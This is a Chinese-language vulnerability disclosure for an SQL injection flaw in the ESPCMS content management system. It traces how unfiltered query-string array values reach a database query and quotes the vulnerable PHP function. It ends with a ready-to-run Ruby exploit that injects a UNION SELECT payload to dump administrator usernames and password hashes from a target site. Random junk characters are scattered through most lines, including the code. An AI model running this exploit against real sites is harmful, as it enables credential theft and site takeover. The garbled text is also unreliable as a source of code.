0×0 漏洞概述0×1 漏洞细节( r. _. `; t! d. E0 w0 K
0×2 PoC
; f& E; t! c$ H' H3 f
" a- D4 P b1 n) {
' d7 M" G8 g3 q* P
+ K/ M* p; T! b5 F/ L8 K- w! \% v, L0×0 漏洞概述& d) [4 ~6 c+ I% }' o
1 L% n0 G N. ] u( A) k& X
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
, D0 M/ j" K1 `4 R其在处理传入的参数时考虑不严谨导致SQL注入发生
6 H7 t( C! g1 l# M5 |4 X. H# r- ^& e9 `3 u& p6 a
9 _9 Z8 H5 Z; S
0×1 漏洞细节
4 }) X8 l3 l5 F, w# S7 v
4 U) h( `9 B# r) Y- o9 W变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
- ]- `' A* U$ ~+ u y) w3 q5 Q正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
& x' f S2 g. N# h6 I- m而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
/ |8 n: j5 Y8 y& t) N, ?) m; h S
在/interface/3gwap_search.php文件的in_result函数中:
# y; g4 p- K6 E* H% P2 O3 x1 o% `( @, m1 v1 l
3 ^/ O1 E, U7 r4 c3 ~
% E9 j1 M9 T l' ~- y$ i: e
function in_result() {% R# w" i C; r6 ?
... ... ... ... ... ... ... ... ...6 o: m# O* D. c* [6 p" f5 s
$urlcode = $_SERVER[ 'QUERY_STRING ']; |$ z% ^* I+ h9 K% H: ~, }* n% q
parse_str(html_entity_decode($urlcode), $output);
$ w' |$ E- w( q8 V d3 |4 N2 k5 P2 d
... ... ... ... ... ... ... ... ...
3 ?% w! a4 u: _+ i% Q- w0 H* y if (is_array($output['attr' ]) && count($output['attr']) > 0) {
1 D9 j5 N- f' U0 N i' ~! ]% Q7 E6 X! O3 Y2 w
$db_table = db_prefix . 'model_att';
4 z+ X' L# U- t: h5 K4 j# @4 }
+ ~8 t3 B, U/ ]/ s( i foreach ($output['attr' ] as $key => $value) {6 i5 |; _8 [9 M2 U
if ($value) {
( `( o0 C) C/ J! b# V$ P- R3 L4 h7 {% t, i6 H. `! l
$key = addslashes($key);
% Z* }! ]/ E2 ?# y& `9 `: o $key = $this-> fun->inputcodetrim($key);) \6 H$ C2 [6 Z4 O) c" D4 _
$db_att_where = " WHERE isclass=1 AND attrname='$key'";- V+ H3 G; Z' q x5 p4 j2 U
$countnum = $this->db_numrows($db_table, $db_att_where);
- r8 E( a: J3 Z$ _ if ($countnum > 0) {, K* ~9 B5 U' a
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
) `+ S' v) }, w2 C }
1 g5 @# U* F/ \; h' x* V3 P }$ a: S2 @" G, @
}) n* M- ?0 r! X
}# @1 y: b" v$ d
if (!empty ($keyword) && empty($keyname)) {* N; U6 X7 s2 r) l e# M
$keyname = 'title';
3 i6 H% m+ n8 T% F4 F1 `* C, l $db_where.= " AND a.title like '%$keyword%'" ;4 G7 {/ E. d+ m
} elseif (!empty ($keyword) && !empty($keyname)) {
6 Z R4 s6 O6 V% I d+ a& ^ $db_where.= " AND $keyname like '% $keyword%'";
( O( f, u! e3 _2 |6 R, r& E& e }! a+ Y) H$ x, o4 X. o! p9 V
$pagemax = 15;
9 \* x( D* |" z0 b: D# @; A" {. l3 R L4 ?" A% N y. u/ [
$pagesylte = 1;
* r" J2 h% V7 K( S0 @/ n3 Q9 f+ D2 O
if ($countnum > 0) {2 p& ?4 K; c& \; V. N6 w
3 e7 B& w: n! Z( d! Z/ J
$numpage = ceil($countnum / $pagemax);, S$ C# x p4 N7 n7 p
} else {% u9 j" F$ i k; c, j
$numpage = 1;
- I' c3 f9 e, K- P+ Z }" s: ^' N) f3 ?$ b) }
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;& W( l% [% u) k4 P Z2 w+ w9 V
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
8 A4 H! @ R+ v6 [$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
+ F: p5 y( ^! k X4 G ... ... ... ... ... ... ... ... ...0 d% v+ C3 s% j+ r6 X. m3 I0 v; j
}
m/ e, H5 { N; ]( y- Q, M$ v* G6 S# I2 {1 _
1 ~- }! l' T! g6 @9 t$ j0×2 PoC
8 G1 G% J. s* G+ a, v8 W) J3 h6 R7 s- s7 S1 a
; @" l& d* n/ ]% [$ e
3 e$ ^, t- k$ t' erequire "net/http"+ |: l' j9 x; b9 Z
7 w0 y0 _5 @% l c) T! a/ ]# Vdef request(method, url)
5 V) Y6 S3 O* Y( Z7 ~ t if method.eql?("get")
R$ K6 A4 P9 I2 p uri = URI.parse(url)# u; R9 I9 y* q; y6 y) T
http = Net::HTTP.new(uri.host, uri.port)
1 U( ]4 c% b! |3 y! F response = http.request(Net::HTTP::Get.new(uri.request_uri))
' `% B1 J" O/ U. u9 V return response; Y& t; R( g) ]
end" D$ I* k0 e/ z7 g/ M) R, D
end
% H9 Q/ k R' i6 o) r) i
! Z7 s- Y' q; I- C m' u+ {, Rdoc =<<HERE L1 R+ K; W* @- l2 D+ h
-------------------------------------------------------& e, R- z6 J# Y
Espcms Injection Exploit
1 f6 ~1 ]( G) a& n7 d$ w' TAuthor:ztz: T$ O; N; t% i, N
Blog:http://ztz.fuzzexp.org/
3 t. \, r+ P3 C3 d8 p-------------------------------------------------------) X8 r1 E4 U( m- P( g
( P& \. p4 g" N3 bHERE6 j+ O! t: R1 n# o# Q; \+ F
" t( b! Z' U+ H- I
usage =<<HERE
) A0 A L: e" jUsage: ruby #{$0} host port path
" Z8 l! N/ z& C+ ]; o, Yexample: ruby #{$0} www.target.com 80 /6 R! o4 u# }" S
HERE
! }8 u* p% K: [+ ^; w- n3 B0 n/ W( p( a0 I, S* \! _
puts doc" z2 V3 X1 U( ~: s
if ARGV.length < 3& ?6 c( q& z! k7 X
puts usage
0 o7 [" s+ Z3 J }, j' H- E- V Nelse
% F+ M( }* ~% @& A0 Q1 Z $host = ARGV[0]
# |! x+ e6 ?0 ]* K( y1 G $port = ARGV[1]
1 _- x6 Z; B6 U: `# W/ O2 B" U! V; B $path = ARGV[2]
0 m/ a; ?: J0 @2 T& h" t) m" Q: L5 a. ~/ H( k! e$ \" ~0 o
puts "send request..."$ p$ U* E, B% S" ?5 p
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
7 r& x w, o& c. [; J8 battr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13) ~- T' c* Y4 E+ b0 S2 r! h
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
' ~) W6 w8 U! L6 ]8 W4 I,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"( s A" O6 d/ d- \6 [; F. U, x1 Z
response = request("get", url)
W) z, u0 {- z% w2 u2 H, L6 {3 i: c result = response.body.scan(/\w+&\w{32}/) p* f+ o3 T3 p( ~; G
puts result5 T' R1 N3 X! s* T& M& V
end
. Y0 `% W4 Y# L; n4 [
1 W/ m6 i$ {0 u5 \& B% S9 ^( a |